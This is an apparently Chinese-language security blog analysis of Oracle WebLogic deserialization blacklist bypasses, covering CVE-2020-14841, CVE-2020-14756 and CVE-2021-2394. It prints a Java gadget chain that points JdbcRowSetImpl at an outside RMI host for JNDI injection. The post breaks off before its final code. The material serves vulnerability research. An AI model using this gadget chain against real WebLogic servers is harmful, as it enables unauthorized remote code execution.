前幾天weblogic 7月例行更新中,修復了一個Rce漏洞。該漏洞性質屬於繞過之前的反序列化漏洞補丁。要了解這個漏洞的原因,我們首先要學習其他幾個漏洞的原理。
一 weblogic 反序列化繞過指南
本章節只是大概講解一下如何繞過weblogic反序列化漏洞的補丁。
序列化和反序列化是將一個對象從本機JVM中傳輸到遠程JVM上。在java 序列化的時候,會將對象的類名也寫入到傳輸的數據中。反序列化的時候首先從數據中讀取類名,然后通過反射,根據類名去實例化這個對象。類通過實現java.io.Serializable接口可以啟用其序列化功能。未實現次接口的類無法使其任何狀態序列化或反序列化。可序列化類的所有子類型本身都是可序列化的。序列化接口沒有方法或字段,僅用於標識可序列化的語義。
一個類如果想被序列化,那么它可以繼承自兩個接口,這兩個接口的對比如下。
區 別 | Serializable | Externalizable |
---|---|---|
實現復雜度 | 實現簡單,Java對其有內建支持 | 實現復雜,由開發人員自己完成 |
執行效率 | 所有對象由Java統一保存,性能較低 | 開發人員決定哪個對象保存,可能造成速度提升 |
保存信息 | 保存時占用空間大 | 部分存儲,可能造成空間減少 |
而在weblogic的T3協議中,就是用java的序列化協議互相傳輸對象。為了保證安全性,T3協議的反序列化黑名單中標識哪些類不可以被反序列化。所以weblogic補丁繞過總共有下面幾種辦法
1.1 黑名單沒有覆蓋的類
weblogic的開發沒有主管能動性,對於安全態度十分消極。只有有人上報CVE,他才會動手加黑名單。否則絕對不會做任何事情。而且對於黑名單經常漏加,造成很多繞過案例。
1.2 利用未經過濾的ObjectInputStream繞過繞過
在之前的公眾號講過,在weblogic中某些類繼承自Externalizable接口,在反序列化的時候默認會調用readExternal
方法。在該方法中沒有使用weblogic提供的帶有黑名單過濾功能的FilterInputStream去還原類。而是自作主張,自己使用了沒有黑名單過濾的ObjectInputStream去還原對象。造成黑名單根本就沒用上,例如CVE-2020-2551 就是這種情況。
當然這只是一個大概,並沒有很詳細,我們這篇文章的重點不在此。
3. CVE-2020-14841 Jndi注入漏洞
在oracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractor
中,代碼如下
public Object extract(Object arg0) {
if (arg0 == null) {
return null;
} else {
if (arg0 instanceof Wrapper) {
arg0 = ((Wrapper)arg0).unwrap();
}
if (!this.accessor.isInitialized()) {
this.accessor.initializeAttributes(arg0.getClass());
}
return this.accessor.getAttributeValueFromObject(arg0);
}
}
我們可以從代碼上看出來,類似與 cve-2020-2555,用法也都是一樣的。觸發漏洞的重點在於this.accessor.getAttributeValueFromObject 中。對於這個漏洞,我們一般使用MethodAttributeAccessor這個類去觸發漏洞
相關代碼如下
public class MethodAttributeAccessor extends AttributeAccessor {
protected String setMethodName = "";
protected String getMethodName;
protected transient Method setMethod;
protected transient Method getMethod;
protected Object getAttributeValueFromObject(Object anObject, Object[] parameters) throws DescriptorException {
try {
if (PrivilegedAccessHelper.shouldUsePrivilegedAccess()) {
try {
return AccessController.doPrivileged(new PrivilegedMethodInvoker(this.getGetMethod(), anObject, parameters));
} else {
return this.getMethod.invoke(anObject, parameters);
}
下面我們選取一條Gadget。在反序列化的Gadget中,單純通過反序列化還原一個類是沒有辦法觸發漏洞,一般都一條鏈條去觸發。所以我們選取下面的cve-2020-14645 的Gadget,代碼如下
// JdbcRowSetImpl
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://192.168.3.254:8888/xsmd");
MethodAttributeAccessor methodAttributeAccessor = new MethodAttributeAccessor();
methodAttributeAccessor.setGetMethodName("getDatabaseMetaData");
methodAttributeAccessor.setIsWriteOnly(true);
methodAttributeAccessor.setAttributeName("UnicodeSec");
LockVersionExtractor extractor = new LockVersionExtractor(methodAttributeAccessor, "UnicodeSec");
final ExtractorComparator comparator = new ExtractorComparator(extractor);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
Object[] q = new Object[]{jdbcRowSet, jdbcRowSet};
Reflections.setFieldValue(queue, "queue", q);
Reflections.setFieldValue(queue, "size", 2);
Field comparatorF = queue.getClass().getDeclaredField("comparator");
comparatorF.setAccessible(true);
comparatorF.set(queue, new ExtractorComparator(extractor));
注意,在反序列化Gadget中,必須所有類都可以被反序列化。
Weblogic的修復思路也比較清奇,只是將LockVersionExtractor與MethodAttributeAccessor類加入到黑名單中。但是LockVersionExtractor旁邊還有一個FilterExtractor類,同樣可以觸發該漏洞,但是weblogic卻沒有將其加入到黑名單中。這也為cve-2021-2394埋下了伏筆
3. cve-2020-14756分析
weblogic 偏偏又搞出一套屬於自己的反序列化方案。在coherence包中繼承自com.tangosol.io.ExternalizableLite
的類同樣可以被反序列化。我們看一下com.tangosol.io.ExternalizableLite
的具體代碼。
public interface ExternalizableLite extends Serializable {
void readExternal(DataInput var1) throws IOException;
void writeExternal(DataOutput var1) throws IOException;
}
雖然他這個接口也存在readExternal方法,但是方法的參數類型與java.io.Externalizable接口的readExternal方法的參數類型不同。所以對於繼承自com.tangosol.io.ExternalizableLite
的類,在反序列化的時候並不會主動調用其readExternal方法。而是像繼承自java.io.serializable接口的類一樣,還原所有屬性。
但是我們要想辦法調用com.tangosol.io.ExternalizableLite
的readExternal方法,在很多繼承自該接口的類中都重寫了該方法,而且有很多注入繞過weblogic黑名單的敏感操作。
在com.tangosol.coherence.servlet.AttributeHolder
類中,java原生的序列化與反序列化默認會調用readExternal(ObjectInput in)
方法,恰好又調用了readExternal(DataInput in)
方法。方法代碼如下,第三行中使用ExternalizableHelper.readObject
從流中還原一個對象
public void readExternal(DataInput in) throws IOException {
this.m_sName = ExternalizableHelper.readUTF(in);
this.m_oValue = ExternalizableHelper.readObject(in);
this.m_fActivationListener = in.readBoolean();
this.m_fBindingListener = in.readBoolean();
this.m_fLocal = in.readBoolean();
}
在ExternalizableHelper.readObject
方法中實際調用ExternalizableHelper.readObjectInternal
方法去還原一個對象,代碼如下
在這里根據對象的類型,調用相關函數去還原。對於繼承自com.tangosol.io.ExternalizableLite
的類,由readExternalizableLite方法去處理,實例化相關對象后,再調用類的readExtrenal方法。
在這里,讀取類名將其實例化。在這最關鍵的一步,缺少了黑名單的過濾。
weblogic的修復方法也很簡單,那就是直接弄個黑名單過濾,代碼如下,黑名單其實就是
4. cve-2021-2394 分析
說了上面這兩個漏洞,終於可以引出下面這個漏洞了。這個漏洞其實是CVE-2020-14841與cve-2020-14756的結合體。在cve-2020-14841中最為關鍵的兩個類目前已經加入黑名單套餐。其中LockVersionExtractor可以使用FilterExtractor代替。那么MethodAttributeAccessor如何代替。
答案在oracle.eclipselink.coherence.integrated.internal.cache.SerializationHelper#readAttributeAccessor(java.io.DataInput)
中,代碼如圖。在這個方法中實例化一個MethodAttributeAccessor對象。我們只需要尋找在反序列化過程中是誰調用該方法,即可不通過反序列化去生成MethodAttributeAccessor對象
巧合的是,FilterExtractor中,正好會通過readAttributeAccessor去還原MethodAttributeAccessor對象。FilterExtractor對象也恰好繼承自com.tangosol.io.ExternalizableLite
方法。而觸發readAttributeAccessor的方法恰好是重寫自接口的方法。
我們只需要通過cve-2020-14756前半部分觸發漏洞即可。十分簡單,代碼如下